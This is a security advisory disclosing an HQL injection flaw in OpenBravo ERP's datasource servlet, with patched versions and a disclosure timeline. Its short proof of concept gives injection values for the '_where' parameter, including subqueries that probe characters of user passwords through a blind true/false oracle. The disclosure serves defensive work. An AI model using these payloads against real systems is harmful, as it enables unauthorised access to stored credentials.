Title: OpenBravo Hibernate HQL Injection Vulnerability Author: Sam Ng, HPE Software Security Research Team Vendor Patch: 3.0PR15Q3.4 and 3.0PR15Q4.1 Vendor Reference: https://issues.openbravo.com/view.php?id=31577, http://wiki.openbravo.com/wiki/Release_Notes/3.0PR15Q3.4, http://wiki.openbravo.com/wiki/Release_Notes/3.0PR15Q4.1 Exploitation Type: Remote, Login required ======================================================================== Overview: OpenBravo is an open source ERP Java application. A SQL Injection was found in the form of Hibernate HQL. One of the datasource servlet accepts a "_where" parameter from HTTP and uses it to create a dynamic HQL by string concatenation. ======================================================================== Proof of Concept (PoC): After login, click on the Alerts link, the browser will send a JSON request to http:///openbravo/org.openbravo.service.datasource/ADAlert, change the _where parameter to // the following will return all records in ADAlert 1=1 // the following will return an empty resultset, no error (select substring(password,0,1) from ADUser where username='Openbravo')='x' // the following will throw an exception saying there are more than one row returned in the subquery (select substring(password,0,1) from ADUser where username!='Openbravo')='x' ======================================================================== Timeline 2015/11/18 - Vendor notified via email 2015/11/25 - Vendor confirmed the bug and working on a fix 2015/12/10 - Vendor released 3.0PR15Q3.4 2015/12/16 - Vendor released 3.0PR15Q4.1 2015/12/21 - Public vulnerability release